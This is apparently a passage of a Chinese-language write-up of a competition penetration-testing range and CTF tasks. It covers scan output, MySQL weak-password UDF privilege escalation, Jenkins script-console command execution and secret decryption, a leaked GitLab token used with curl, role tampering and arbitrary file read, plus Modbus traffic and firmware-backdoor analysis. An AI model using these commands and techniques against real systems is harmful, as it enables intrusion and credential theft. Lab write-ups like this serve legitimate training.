   [->]192.168.8.9
[*] NetBios 192.168.8.26    WORKGROUP\WIN-PC3788
[*] NetBios 192.168.8.12    [+] DC:VERTEXSOFT\RODC
[*] NetBios 192.168.8.16    WORKGROUP\WIN-SERVER03
[*] NetBios 192.168.8.9     WORKGROUP\WIN-IISSERER
[*] NetBios 192.168.8.38    WORKGROUP\WIN-OPS88
[*] WebTitle http://192.168.8.42:8060  code:404 len:555    title:404 Not Found
[*] NetInfo
[*]192.168.8.12
   [->]RODC
   [->]192.168.8.12
[*] NetInfo
[*]192.168.8.38
   [->]WIN-OPS88
   [->]192.168.8.38
[*] WebTitle http://192.168.8.146:8080 code:302 len:0      title:None 跳转url: http://192.168.8.146:8080/login;jsessionid=56BFBD13B1984442735B72749905D5F2
[*] WebTitle http://192.168.8.9        code:200 len:43679  title:VertexSoft
[*] NetInfo
[*]192.168.8.26
   [->]WIN-PC3788
   [->]192.168.8.26
[*] NetInfo
[*]192.168.8.16
   [->]WIN-SERVER03
   [->]192.168.8.16
[*] WebTitle http://192.168.8.146:8080/login;jsessionid=56BFBD13B1984442735B72749905D5F2 code:200 len:1383   title:Master ERP login Form
[*] WebTitle https://192.168.8.9:8172  code:404 len:0      title:None
[*] WebTitle http://192.168.8.42       code:302 len:99     title:None 跳转url: http://192.168.8.42/users/sign_in
[*] WebTitle http://192.168.8.26:8080  code:200 len:147    title:第一个 JSP 程序
[*] WebTitle http://192.168.8.16:8080  code:403 len:594    title:None
[+] PocScan http://192.168.8.146:8080 poc-yaml-spring-actuator-heapdump-file
[*] WebTitle http://192.168.8.9:8000   code:200 len:4018   title:Modbus Monitor - VertexSoft Internal Attendance System
[+] PocScan http://192.168.8.146:8080 poc-yaml-springboot-env-unauth spring2
[*] WebTitle http://192.168.8.42/users/sign_in code:200 len:11166  title:登录 · GitLab

WIN-OPS88 (MySQL 弱密码 + Windows)

2024-07-22T05:56:45.png
MySQL弱密码root@123456,然后进行UDF提权(mdut工具一把梭),拿下Shell后,进行 net user Administrator <password>进行密码修改,然后通过WindowsRDP进行远程桌面登陆,在C:\Users\Administrator\flag\flag.txt中找到第二个flag。

RODC (Misc + Windows)

书接上回,在WIN-OPS88桌面上有一个WPS OFFICE,让我们很疑惑为什么会有,我们点开后查看Recent,发现了一个表格,里面有一组账号密码。
2024-07-22T06:05:09.png
由于文件名带有ROAdmins,很容易我们想到是RODC相关密码,我们发现这些密码均能远程登陆RODC Windows的RDP,然后在C:\Users\Administrator\flag\flag.txt中找到第三个flag。有人可能会疑惑为什么非Administrator用户能够访问Administrator的文件夹,因为鉴权没弄好,我认为这个题目原本是让你先提权再拿Flag,结果没做好,让选手白白赚了600分。

Jinkens 和 GitLab(Jenkins + GitLab + API_TOKEN 泄露 + 弱密码)

我们在做完上面几个题目后,只用了不到3个小时,后面的时间都在找Jenkins的密码,由于刚开始没有体系化进行攻击,导致我们没有很早挖出Jenkins的密码,后来队友跑了个密码字典,发现密码是admin123,但是这时候已经距离比赛结束只有12分钟了。不过前一天在春秋云境做过Privilege题目,正好可以用上它的思路。我们找到Jenkins里面的GitLab API-Token,发现是加密的,我们采用Jenkins的脚本命令行输入println(hudson.util.Secret.decrypt("{xxxxx}"))来解密GitLab的API-Token,另外,对于Jenkins的flag,我们只需要输入println "type C:\\Administrator\\flag\\flag.txt".execute().text即可拿下Jenkins的flag,我们有了GitLab的APIToken(glpat-bGEgHAJDvwaPP78rsLeS)就可以访问它的所有仓库,我们接下来进行详细分析。
我们在linux环境中使用proxychains curl --header "PRIVATE-TOKEN: glpat-bGEgHAJDvwaPP78rsLeS" "http://192.168.8.42/api/v4/projects"可以获得一个巨大的返回json,通过这个json可以观察到GitLab中所有的储存库信息,我们直接拉下第一个git clone http://oauth2:<API_TOKEN>@192.168.8.42/vertexsoft/vertexsoftbackup.git然后里面的backups.txt就是最后GitLab的flag。
注:gitlab其他仓库的内容可能与其他题目有关,但是我们做出这个题只剩3分钟了。

192.168.8.9:8000 (挖掘但未攻克)

2024-07-22T06:22:50.png
这个题目在注册用户的时候,把自己的权限组通过burp suite的中断,可以更改为admin,然后就可以有了admin的权限,我们发现头像上传这里可以上传文件,但是我们最后也无法上传asp后缀之类的文件,浪费了很多时间。
我们发现
2024-07-22T06:24:23.png
这里的Export存在任意文件读写(把后面的文件名可以改成C:\Windows\win.ini)这样的字样,就可以正确下载,但是这并没有什么作用。
最终这个题只获得了这些信息,而且都没用上

用户名
admin
密码
A1m!n@Qsx1Jn
年龄
20
性别
20
手机号
13012345678
邮箱
admin@vertexsoft.com
部门
Operations Department
岗位
Operation and Maintenance Engineer
角色
admin

Portal (未解出)

通过dirsearch发现有子目录/backup,再从子目录开始扫,发现有/backup/upload,然后里面有个index.jsp文件,但是是空白,最后才知道这个可以文件上传使用PUT,哎这完全没提示啊!!!

CTF 相关题目

流量分析

使用wireshark打开发现时modbus流量,筛选modbus功能码16,字节数为4的流量

modbus && modbus.func_code == 16 && modbus.byte_cnt == 4 

发现包17478和包18216中写入116和117寄存器,且值相同,为0x408e147b,大端序,转成float为4.44

#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/sendfile.h>

#include <sys/mman.h>

int main(){
    float a;
    int *b = (int*)&a;
    *b = 0x408e147b;
    printf("%f", a);
    
    return 0;
} 

固件分析

将中间的nk_dump解压后

find . -type f | xargs strings | grep 'www\..*\.com' | grep -v 'microsoft' | grep 'www\..*\.com'

使用这一条指令之后寻找可疑域名, 找到了一个相当可疑的:
www.jidfv4f0k0vnzl2cni6eref90gg.com
之后逆向分析附件中包含 backdoor 的程序 ping.exe,使用binwalk发现中间有隐藏文件(直接分析是mips。。。),分离后通过IDA进行分析,获得端口号 48952。
flag{www.jidfv4f0k0vnzl2cni6eref90gg.com:48952}

vxdz (未解出)

这题没有扒拉到poc,网上是有的,后来得知是压缩+TripleDES,这谁能猜到啊,这题也是poc一把梭,但是flag让人忍俊不禁
flag{vxdzvxdz}

灵车 (未解出)

大奋。

第二天晚上 晚宴

抽奖:介质消除工具

思路一:正常中奖

由于没有华为的赞助了,国赛抽奖不行事了,不过我们可以让先到的队员把签到二维码泄露出来,然后我们发给认识的好友,让他们也签到,这样就同时提高了分子和分母,由糖水原理,我们中奖的概率一定增加,不过最后我们也没中,反倒是嘉宾中的一个接着一个。

思路二:未鉴权导致的中奖攻击

由于有的人可能并不在场但是签到了,或者已经离开,而三轮抽奖中总是不够10人,这时候由于并不会验证你是否中奖,你直接硬着头皮往上走我觉得都是可以的,不过最后我们也没有这样做。
经过观察,第一轮抽奖上去9个人,第二轮7人,第三轮9人。显然第二轮更容易遭到攻击,具体POC留给下一届了,我也是圆满退役国赛了,大家其他比赛再见!